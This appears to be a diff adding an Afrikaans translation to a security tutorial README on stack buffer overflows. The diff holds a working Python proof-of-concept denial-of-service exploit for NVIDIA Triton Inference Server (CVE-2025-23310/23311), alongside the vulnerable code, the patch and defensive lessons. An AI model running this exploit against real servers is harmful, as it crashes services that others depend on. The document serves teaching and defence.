Translated ['src/binary-exploitation/stack-overflow/README.md'] to af

src/binary-exploitation/stack-overflow/README.md

@@ -50,10 +50,10 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Exploiting Stack Overflows
 
-Tydens 'n oorgang (veronderstel dat die oorganggrootte groot genoeg is) sal jy in staat wees om **oor te skryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
-Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **kontrole vloei na waar die gebruiker gespesifiseer het** in hierdie pointer.
+Tydens 'n oorgang (as die oorganggrootte groot genoeg is) sal jy in staat wees om **te oorskryf** waardes van plaaslike veranderlikes binne die stapel totdat jy die gestoor **EBP/RBP en EIP/RIP (of selfs meer)** bereik.\
+Die mees algemene manier om hierdie tipe kwesbaarheid te misbruik, is deur die **terugadres te wysig** sodat wanneer die funksie eindig, die **beheer vloei na die plek waar die gebruiker gespesifiseer het** in hierdie pointer.
 
-E however, in ander scenario's mag dit net **om te skryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
+E however, in ander scenario's mag dit net **om te oorskryf van sommige veranderlikes waardes in die stapel** genoeg wees vir die uitbuiting (soos in maklike CTF-uitdagings).
 
 ### Ret2win
 
@@ -115,12 +115,71 @@ warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Alhoewel stapel kanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met bykomende inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig:
+Alhoewel stapelkanaries die proses beëindig, verkry 'n aanvaller steeds 'n **Denial-of-Service** primitief (en, met addisionele inligtingslekke, moontlik kode-uitvoering). Die les is eenvoudig:
 
-* Verskaf altyd 'n **maksimum veld breedte** (bv. `%511s`).
+* Verskaf altyd 'n **maksimum veldwydte** (bv. `%511s`).
 * Verkies veiliger alternatiewe soos `snprintf`/`strncpy_s`.
 
-## References
+### Werklike Voorbeeld: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+
+NVIDIA se Triton Inference Server (≤ v25.06) het verskeie **stapel-gebaseerde oorgange** bevat wat deur sy HTTP API bereik kon word. Die kwesbare patroon het herhaaldelik in `http_server.cc` en `sagemaker_server.cc` verskyn:
+```c
+int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
+if (n > 0) {
+/* allocates 16 * n bytes on the stack */
+struct evbuffer_iovec *v = (struct evbuffer_iovec *)
+alloca(sizeof(struct evbuffer_iovec) * n);
+...
+}
+```
+1. `evbuffer_peek` (libevent) gee die **aantal interne buffersegmenten** wat die huidige HTTP-versoekliggaam saamstel.
+2. Elke segment veroorsaak dat 'n **16-byte** `evbuffer_iovec` op die **stapel** toegeken word via `alloca()` – **sonder enige boonste grens**.
+3. Deur **HTTP _chunked transfer-encoding_** te misbruik, kan 'n kliënt die versoek dwing om in **honderde duisende 6-byte stukke** (`"1\r\nA\r\n"`) gesplit te word. Dit laat `n` onbeperk groei totdat die stapel uitgeput is.
+
+#### Bewys-van-Konsep (DoS)
+```python
+#!/usr/bin/env python3
+import socket, sys
+
+def exploit(host="localhost", port=8000, chunks=523_800):
+s = socket.create_connection((host, port))
+s.sendall((
+f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
+f"Host: {host}:{port}\r\n"
+"Content-Type: application/octet-stream\r\n"
+"Inference-Header-Content-Length: 0\r\n"
+"Transfer-Encoding: chunked\r\n"
+"Connection: close\r\n\r\n"
+).encode())
+
+for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
+s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
+s.sendall(b"0\r\n\r\n")               # end of chunks
+s.close()
+
+if __name__ == "__main__":
+exploit(*sys.argv[1:])
+```
+'n ~3 MB versoek is genoeg om die gestoor terugadres te oorskryf en **crash** die daemon op 'n standaard bou.
+
+#### Patch & Mitigering
+Die 25.07 vrystelling vervang die onveilige stapeltoewysing met 'n **heap-ondersteunde `std::vector`** en hanteer `std::bad_alloc` met genade:
+```c++
+std::vector<evbuffer_iovec> v_vec;
+try {
+v_vec = std::vector<evbuffer_iovec>(n);
+} catch (const std::bad_alloc &e) {
+return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
+}
+struct evbuffer_iovec *v = v_vec.data();
+```
+Lessons geleer:
+* Nooit `alloca()` aanroep met aanvaller-beheerde groottes nie.
+* Gekapte versoeke kan drasties die vorm van bediener-kant buffers verander.
+* Valideer / beperk enige waarde wat uit kliëntinvoer afgelei is *voor* dit in geheue toewysings gebruik word.
+
+## Verwysings
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
 
 {{#include ../../banners/hacktricks-training.md}}